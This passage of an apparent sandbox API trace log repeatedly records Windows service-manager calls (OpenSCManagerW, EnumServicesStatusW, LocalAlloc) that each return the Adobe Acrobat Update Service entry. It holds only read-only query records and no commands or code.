lpResumeHandle=0x893e3cc | out: lpServices=0x7a1cfc8*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 1 [0140.686] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x321d6e0 [0140.686] EnumServicesStatusW (in: hSCManager=0x321d6e0, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 0 [0140.687] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a1cfc8 [0140.687] EnumServicesStatusW (in: hSCManager=0x321d6e0, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a1cfc8, cbBufSize=0x660a, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x7a1cfc8*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 1 [0140.689] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x321d6b8 [0140.690] EnumServicesStatusW (in: hSCManager=0x321d6b8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 0 [0140.690] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a1cfc8 [0140.690] EnumServicesStatusW (in: hSCManager=0x321d6b8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a1cfc8, cbBufSize=0x660a, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x7a1cfc8*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 1 [0140.694] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x321d6b8 [0140.695] EnumServicesStatusW (in: hSCManager=0x321d6b8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 0 [0140.695] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a1cfc8 [0140.695] EnumServicesStatusW (in: hSCManager=0x321d6b8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a1cfc8, cbBufSize=0x660a, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x7a1cfc8*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 1 [0140.697] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x321d6e0 [0140.697] EnumServicesStatusW (in: hSCManager=0x321d6e0, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 0 [0140.698] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a1cfc8 [0140.698] EnumServicesStatusW (in: hSCManager=0x321d6e0, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a1cfc8, cbBufSize=0x660a, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x7a1cfc8*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 1 [0140.699] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x321d6b8 [0140.699] EnumServicesStatusW (in: hSCManager=0x321d6b8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 0 [0140.700] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a1cfc8 [0140.700] EnumServicesStatusW (in: hSCManager=0x321d6b8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a1cfc8, cbBufSize=0x660a, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x7a1cfc8*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 1 [0140.701] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x321d6e0 [0140.701] EnumServicesStatusW (in: hSCManager=0x321d6e0, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 0 [0140.702] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a1cfc8 [0140.702] EnumServicesStatusW (in: hSCManager=0x321d6e0, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a1cfc8, cbBufSize=0x660a, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x7a1cfc8*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 1 [0140.703] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x321d6b8 [0140.703] EnumServicesStatusW (in: hSCManager=0x321d6b8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 0 [0140.704] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a1cfc8 [0140.704] EnumServicesStatusW (in: hSCManager=0x321d6b8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a1cfc8, cbBufSize=0x660a, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x7a1cfc8*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 1 [0140.705] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x321d6e0 [0140.706] EnumServicesStatusW (in: hSCManager=0x321d6e0, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 0 [0140.706] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a1cfc8 [0140.706] EnumServicesStatusW (in: hSCManager=0x321d6e0, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a1cfc8, cbBufSize=0x660a, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x7a1cfc8*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 1 [0140.708] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x321d7f8 [0140.708] EnumServicesStatusW (in: hSCManager=0x321d7f8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 0 [0140.709] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a1cfc8 [0140.709] EnumServicesStatusW (in: hSCManager=0x321d7f8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a1cfc8, cbBufSize=0x660a, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x7a1cfc8*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 1 [0140.710] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x321d7a8 [0140.710] EnumServicesStatusW (in: hSCManager=0x321d7a8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 0 [0140.711] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a1cfc8 [0140.711] EnumServicesStatusW (in: hSCManager=0x321d7a8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a1cfc8, cbBufSize=0x660a, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x7a1cfc8*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 1 [0140.712] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x321d6e0 [0140.712] EnumServicesStatusW (in: hSCManager=0x321d6e0, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 0 [0140.713] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a1cfc8 [0140.713] EnumServicesStatusW (in: hSCManager=0x321d6e0, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a1cfc8, cbBufSize=0x660a, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x7a1cfc8*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 1 [0140.714] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x321d6e0 [0140.714] EnumServicesStatusW (in: hSCManager=0x321d6e0, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 0 [0140.715] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a1cfc8 [0140.715] EnumServicesStatusW (in: hSCManager=0x321d6e0, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a1cfc8, cbBufSize=0x660a, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x7a1cfc8*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 1 [0140.716] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x321d6e0 [0140.716] EnumServicesStatusW (in: hSCManager=0x321d6e0, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 0 [0140.717] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a1cfc8 [0140.717] EnumServicesStatusW (in: hSCManager=0x321d6e0, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a1cfc8, cbBufSize=0x660a, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x7a1cfc8*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 1 [0140.718] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x321d6e0 [0140.718] EnumServicesStatusW (in: hSCManager=0x321d6e0, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 0 [0140.719] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a1cfc8 [0140.719] EnumServicesStatusW (in: hSCManager=0x321d6e0, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a1cfc8, cbBufSize=0x660a, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x7a1cfc8*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 1 [0140.721] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x321d6b8 [0140.721] EnumServicesStatusW (in: hSCManager=0x321d6b8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 0 [0140.721] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a1cfc8 [0140.721] EnumServicesStatusW (in: hSCManager=0x321d6b8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a1cfc8, cbBufSize=0x660a, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x7a1cfc8*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 1 [0140.724] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x321d6e0 [0140.724] EnumServicesStatusW (in: hSCManager=0x321d6e0, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 0 [0140.725] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a1cfc8 [0140.725] EnumServicesStatusW (in: hSCManager=0x321d6e0, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a1cfc8, cbBufSize=0x660a, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x7a1cfc8*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 1 [0140.727] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x321d6e0 [0140.727] EnumServicesStatusW (in: hSCManager=0x321d6e0, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 0 [0140.728] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a1cfc8 [0140.728] EnumServicesStatusW (in: hSCManager=0x321d6e0, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a1cfc8, cbBufSize=0x660a, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x7a1cfc8*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 1 [0140.730] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x321d6b8 [0140.730] EnumServicesStatusW (in: hSCManager=0x321d6b8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 0 [0140.731] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a1cfc8 [0140.731] EnumServicesStatusW (in: hSCManager=0x321d6b8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a1cfc8, cbBufSize=0x660a, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x7a1cfc8*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 1 [0140.733] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x321d7a8 [0140.733] EnumServicesStatusW (in: hSCManager=0x321d7a8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 0 [0140.734] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a1cfc8 [0140.734] EnumServicesStatusW (in: hSCManager=0x321d7a8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a1cfc8, cbBufSize=0x660a, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x7a1cfc8*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 1 [0140.739] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x321d7a8 [0140.739] EnumServicesStatusW (in: hSCManager=0x321d7a8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 0 [0140.740] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a1cfc8 [0140.740] EnumServicesStatusW (in: hSCManager=0x321d7a8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a1cfc8, cbBufSize=0x660a, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x7a1cfc8*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 1 [0140.741] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x321d6e0 [0140.742] EnumServicesStatusW (in: hSCManager=0x321d6e0, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 0 [0140.742] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a1cfc8 [0140.742] EnumServicesStatusW (in: hSCManager=0x321d6e0, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a1cfc8, cbBufSize=0x660a, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x7a1cfc8*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, 